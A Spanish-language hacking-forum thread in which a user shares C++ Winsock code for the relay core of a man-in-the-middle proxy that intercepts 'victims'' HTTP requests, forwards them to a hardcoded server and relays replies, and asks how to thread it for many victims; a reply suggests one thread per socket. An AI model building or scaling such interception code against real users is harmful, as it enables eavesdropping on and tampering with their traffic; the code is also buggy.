elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Clientes/servidores y threads
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Clientes/servidores y threads  (Leído 2,864 veces)
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Clientes/servidores y threads
« en: 1 Octubre 2015, 10:01 am »

Hola, tengo un problema con el MITM, cuando las victimas se van a conectar a mi servidor el servidor recibe la respuesta y reenvia la petición al servidor destino a través de un send(), luego recibe la respuesta de ese servidor y la reenvía la víctima tal cual.

El problema es que cuando haya 30 víctimas ¿como tendré que programar esto?, ¿tendría que crear un subproceso para cada cliente conectado al servidor? ¿sería viable? ¿alguna otra posible solución?.

Os dejo el code, que cambiaríais??.

Código
  1. while (*on_mitm){
  2.  
  3. int victima;
  4. sockaddr_in addr;
  5. addr.sin_family = AF_INET;
  6. int len = sizeof(addr);
  7.  
  8. if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
  9. closesocket(victima);
  10. Sleep(100);
  11. continue;
  12. }
  13. else{
  14. cout << "conectadoo";
  15. setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  16. setsockopt(victima, SOL_SOCKET, SO_SNDTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  17.  
  18. u_char *ip_victima = new u_char[4]();
  19. u_long num_victima = inet_addr(inet_ntoa(addr.sin_addr));
  20.  
  21. if (num_victima == INADDR_NONE){
  22. closesocket(victima);
  23. Sleep(100);
  24. break;
  25. }
  26.  
  27. ip_victima = (u_char*)&num_victima;//busco en la lista ultima.
  28.  
  29. string respuesta;
  30. char *bloque = new char[3000]();
  31. setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  32. while (int res = recv(victima, bloque, 3000, 0) > 0)
  33. respuesta += string(bloque);
  34.  
  35. cout << "recibido";
  36. if (respuesta.length() == 0){
  37. closesocket(victima);
  38. Sleep(100);
  39. break;
  40. }
  41.  
  42. int cliente;
  43. sockaddr_in cli_local;
  44.  
  45. cout << respuesta << endl;
  46. respuesta = eliminar_encoding(respuesta, true);
  47. cout << respuesta << endl;
  48.  
  49. if ((cliente = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR){
  50. cout << "falla socket" << GetLastError();
  51. Sleep(REINTENTAR_PROXY * 1000);
  52. continue;
  53. }
  54.  
  55. cli_local.sin_family = AF_INET;
  56. cli_local.sin_port = htons(80);
  57. cli_local.sin_addr.s_addr = inet_addr("217.160.43.9");
  58.  
  59. if (connect(cliente, (struct sockaddr*)&cli_local, sizeof(cli_local)) == SOCKET_ERROR){
  60. cout << "error conectar" << GetLastError();
  61. closesocket(cliente);
  62. }
  63. else{
  64. if (send(cliente, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR){
  65. cout << "error enviar" << GetLastError();
  66. closesocket(cliente);
  67. }
  68. else{
  69. respuesta = "";
  70. while (recv(cliente, bloque, 3000, 0) > 0)
  71. respuesta += string(bloque);
  72.  
  73. if (respuesta.length() == 0){
  74. closesocket(cliente);
  75. closesocket(victima);
  76. Sleep(100);
  77. break;
  78. }
  79.  
  80. cout << "respuesta server: " << respuesta << endl;
  81. respuesta = eliminar_encoding(respuesta, false);
  82. cout << respuesta << endl;
  83.  
  84. if (send(victima, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR)
  85. cout << "fallo reenvio a cliente " << GetLastError();
  86. else
  87. cout << "se envio al cliente";
  88. }
  89. }
  90. }
  91. Sleep(100);
  92. }

Saludos.


En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Clientes/servidores y threads
« Respuesta #1 en: 1 Octubre 2015, 10:24 am »

Está bien un socket por por thread. Mientras los controles, jaja.


En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Clientes/servidores y threads
« Respuesta #2 en: 1 Octubre 2015, 11:13 am »

Jajaja la muerte.

Código
  1. if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
  2. closesocket(victima);
  3. Sleep(100);
  4. continue;
  5. }

Despues de esto (la conexión) podría abrir un thread pasando el socket "victima", y que interactue con el. Y haga lo demás que hay en el bucle en el otro thread.

Luego al acabar el proceso ese thread moriría.

También para colmo tengo que ir a la lista (con el ** mutex) y obtener el ultimo dominio que redirigí al usuario pues cuando llega la petición al server y la voy a reenviar no tengo ni la ip destino correcta ni el dominio en el paquete, luego... tengo que pasarselo de la lista, muchos subthreads, muchos mutex, muerte y destrucción jajaja.

Cada vez lo veo menos viable, pero no se me ocurre otra manera de reestructurarlo.

Saludos.
« Última modificación: 1 Octubre 2015, 11:18 am por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Clientes/servidores y threads
« Respuesta #3 en: 1 Octubre 2015, 15:56 pm »

Un ordenador puede con muchos threads y muchos sockets, no temas.
Además, lo llaman programación estructurada y programación orientada a objetos. Son dos paradgimas que te ayudarán mucho a cumplir tu tarea.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines